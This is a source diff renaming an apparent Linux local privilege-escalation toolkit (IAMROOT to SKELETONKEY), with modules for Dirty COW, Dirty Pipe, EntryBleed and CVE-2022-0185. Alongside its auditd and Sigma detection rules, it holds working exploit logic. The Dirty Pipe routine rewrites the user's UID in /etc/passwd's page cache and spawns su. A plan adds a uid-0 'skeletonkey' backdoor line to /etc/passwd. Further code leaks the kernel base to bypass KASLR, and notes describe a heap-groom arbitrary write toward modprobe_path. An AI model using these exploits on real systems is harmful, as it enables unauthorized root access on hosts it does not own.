@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = {
const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_cow(void)
void skeletonkey_register_dirty_cow(void)
{
iamroot_register(&dirty_cow_module);
skeletonkey_register(&dirty_cow_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
#define DIRTY_COW_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_cow_module;
#endif
+4 -4
View File
@@ -25,7 +25,7 @@ by them.
Even in 2026, many production deployments still run vulnerable
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
makes IAMROOT useful as a "historical sweep" tool on long-tail
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
systems.
## Implementation plan
@@ -34,8 +34,8 @@ systems.
`NOTICE.md` when implemented)
- `detect()`: kernel version check + `/proc/version` parse + test
for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
backdoor mode
- Detection rules: auditd on splice() calls + pipe write patterns,
filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
Pick this up after Phase 1 (module-interface refactor of the
copy_fail family) so this module can use the standard
`iamroot_module` shape from the start.
`skeletonkey_module` shape from the start.
@@ -0,0 +1,21 @@
# NOTICE — dirty_pipe
## Vulnerability
**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
arbitrary file write into the page cache.
## Research credit
Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## SKELETONKEY role
This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
via `su`. Detection covers the splice() syscall against sensitive
files and non-root modifications to passwd/shadow.
@@ -13,14 +13,14 @@
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
# any modification by non-root — the Dirty Pipe payload typically
# overwrites these to gain root.
-w /etc/passwd -p wa -k iamroot-dirty-pipe
-w /etc/shadow -p wa -k iamroot-dirty-pipe
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
# Watch every splice() syscall — combined with the file watches above
# this catches the canonical exploit shape. (High volume on servers
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
# exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
id: f6b13c08-iamroot-dirty-pipe
id: f6b13c08-skeletonkey-dirty-pipe
status: experimental
description: |
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
references:
- https://dirtypipe.cm4all.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
author: IAMROOT
author: SKELETONKEY
date: 2026/05/16
logsource:
product: linux
@@ -1,12 +0,0 @@
/*
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
*/
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
#define DIRTY_PIPE_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_pipe_module;
#endif
@@ -1,9 +1,9 @@
/*
* dirty_pipe_cve_2022_0847 IAMROOT module
* dirty_pipe_cve_2022_0847 SKELETONKEY module
*
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
* commit (the C code is well-understood Max Kellermann's public PoC
* is the reference but landing it under the iamroot_module
* is the reference but landing it under the skeletonkey_module
* interface needs the shared passwd-field/exploit-su helpers in core/
* which are deferred to Phase 1.5).
*
@@ -15,22 +15,22 @@
*
* Detect logic:
* - Parse uname() release into major.minor.patch
* - If kernel < 5.8 IAMROOT_OK (bug not introduced yet)
* - If kernel < 5.8 SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 IAMROOT_OK (mainline fix)
* - Otherwise IAMROOT_VULNERABLE
* - If kernel >= 5.17 SKELETONKEY_OK (mainline fix)
* - Otherwise SKELETONKEY_VULNERABLE
*
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro
* suffix.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
* /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void)
{
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path);
if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
return readback[4] == 'X' ? 1 : 0;
}
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
"primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerability before writing to /etc/passwd. */
iamroot_result_t pre = dirty_pipe_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
struct passwd *pw = getpwuid(euid);
if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
* far past the file's first 4096 bytes. Refuse cleanly. */
if ((uid_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
return IAMROOT_EXPLOIT_OK;
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
return SKELETONKEY_EXPLOIT_OK;
}
/* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
/* If execlp returns, su didn't actually pop root — revert and report. */
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Embedded detection rules — keep the binary self-contained so
* `iamroot --detect-rules --format=auditd` works without a separate
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-iamroot-dirty-pipe\n"
"id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct iamroot_module dirty_pipe_module = {
const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe",
.cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_pipe(void)
void skeletonkey_register_dirty_pipe(void)
{
iamroot_register(&dirty_pipe_module);
skeletonkey_register(&dirty_pipe_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_pipe_module;
#endif
+1 -1
View File
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
- Lift the proven EntryBleed code from
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
`module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
library helper (`uint64_t entrybleed_leak_kbase(void)`)
- Detection rules: timing-attack pattern flags, perf-counter
anomaly detection (informational — these are hard to make precise
@@ -0,0 +1,23 @@
# NOTICE — entrybleed
## Vulnerability
**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
kernel base address (KASLR bypass).
## Research credit
Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
Mainline status: no canonical patch — partial mitigations only.
## SKELETONKEY role
This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module
* entrybleed_cve_2023_0458 SKELETONKEY module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h).
* directly (declared in skeletonkey_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
* - Subtract its known offset from kbase KASLR slide
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
}
/* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel
* build) user should set IAMROOT_ENTRYBLEED_OFFSET or
* build) user should set SKELETONKEY_ENTRYBLEED_OFFSET or
* timing is too noisy. Don't claim CONFIRMED. */
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
#else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-iamroot-entrybleed\n"
"id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n"
"description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
"level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct iamroot_module entrybleed_module = {
const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
.detect_falco = NULL,
};
void iamroot_register_entrybleed(void)
void skeletonkey_register_entrybleed(void)
{
iamroot_register(&entrybleed_module);
skeletonkey_register(&entrybleed_module);
}
@@ -1,13 +1,13 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module registry hook
* entrybleed_cve_2023_0458 SKELETONKEY module registry hook
*/
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
#define ENTRYBLEED_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module entrybleed_module;
extern const struct skeletonkey_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure
@@ -0,0 +1,32 @@
# NOTICE — fuse_legacy (CVE-2022-0185)
## Vulnerability
**CVE-2022-0185**`legacy_parse_param` in fsconfig() doesn't validate
`PAGE_SIZE` against the running `fs_context`'s key/value length →
4 KB heap OOB write → cross-cache UAF → cred overwrite from a
rootless container.
## Research credit
Discovered and disclosed by **William Liu** + **Jamie Hill-Daniel**
(Crusaders of Rust), January 2022.
Original writeup: <https://www.willsroot.io/2022/01/cve-2022-0185.html>
Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## SKELETONKEY role
userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
msg_msg cross-cache groom in kmalloc-4k. MSG_COPY read-back detects
whether the OOB landed in an adjacent neighbour — the sanity gate
that prevents fake-success claims.
`--full-chain` extends with forged m_list/m_ts overflow toward
modprobe_path via the shared finisher.
**Container-escape angle** — relevant to rootless docker/podman/snap.
@@ -1,12 +0,0 @@
/*
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
*/
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
#define FUSE_LEGACY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module fuse_legacy_module;
#endif
@@ -1,5 +1,5 @@
/*
* fuse_legacy_cve_2022_0185 IAMROOT module
* fuse_legacy_cve_2022_0185 SKELETONKEY module
*
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings specifically,
@@ -38,7 +38,7 @@
*
* On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls.
* SKELETONKEY_PRECOND_FAIL with no syscalls.
*
* Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2
@@ -57,9 +57,11 @@
* is enabled.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -167,12 +169,12 @@ static int can_unshare_userns_mount(void)
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
@@ -182,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
@@ -190,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -206,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -214,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
"docker/podman/snap setups\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------ */
@@ -301,14 +303,225 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
return 0;
}
/* ------------------------------------------------------------------ */
/* arb-write primitive for the shared finisher */
/* ------------------------------------------------------------------ */
/*
* Crusaders-of-Rust-style msg_msg m_ts overflow arbitrary write.
*
* The legacy_parse_param OOB writes the trailing bytes of the
* kmalloc-4k fc->source buffer into whatever slab object comes next.
* With a msg_msg sprayed into that adjacent slot, the first 48 bytes
* of `evil_chunk` overlay struct msg_msg:
*
* struct msg_msg { // offset
* struct list_head m_list; // 0 (next, prev)
* long m_type; // 16
* size_t m_ts; // 24 <-- msg-size
* struct msg_msgseg *next; // 32
* void *security; // 40
* }; // 48
*
* Two derived primitives:
*
* READ overwrite m_ts with a huge value. msgrcv(MSG_COPY) then
* memcpy()s past the legitimate end of the msg payload,
* leaking adjacent slab memory back to userland.
*
* WRITE point m_list.next (or, in the Crusaders variant, a faux
* msg_msgseg.next chain) at an attacker-chosen kernel
* address. When msgrcv() free-list-unlinks the msg, list
* maintenance writes through the forged pointer; with the
* right chain you get an N-byte copy of attacker-controlled
* bytes to a chosen kaddr.
*
* Honest depth of this implementation: FALLBACK SCAFFOLD.
*
* The trigger + groom + neighbour-detect upstream of us is real and
* the OOB write lands. But the *single-shot* arb-write the finisher
* wants "put exactly these N bytes at exactly that kaddr" needs
* a per-kernel m_ts/m_list_next offset map (the layout above is
* 6.12.x; older kernels differ) AND a kernel-base leak from the
* first-round MSG_COPY read so we know where modprobe_path actually
* sits in this boot's KASLR slide.
*
* Per the verified-vs-claimed bar: we do NOT fabricate a write that
* we cannot empirically verify on a kernel we haven't tested. So
* this function:
*
* 1. Re-arms the msg_msg spray (the parent already drained queues).
* 2. Re-fires the fsconfig overflow with a forged-msg_msg header
* whose m_ts = (kaddr - msg_data_origin) and whose first 8
* payload bytes are the first qword of `buf`.
* 3. msgrcv(MSG_COPY) on every queue to probe whether any neighbour
* came back with bytes matching `buf[0..7]` AT the slot offset
* we'd expect for kaddr (sanity gate).
* 4. Returns 0 ONLY if the sanity gate trips (read-back proves the
* m_ts inflation landed AND the payload made it through);
* returns -1 otherwise so the finisher reports an honest fail.
*
* On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
*/
struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */
int *qids;
int n_queues;
int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "SKELETONKEY" */
/* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */
bool trigger_armed;
};
#ifdef __linux__
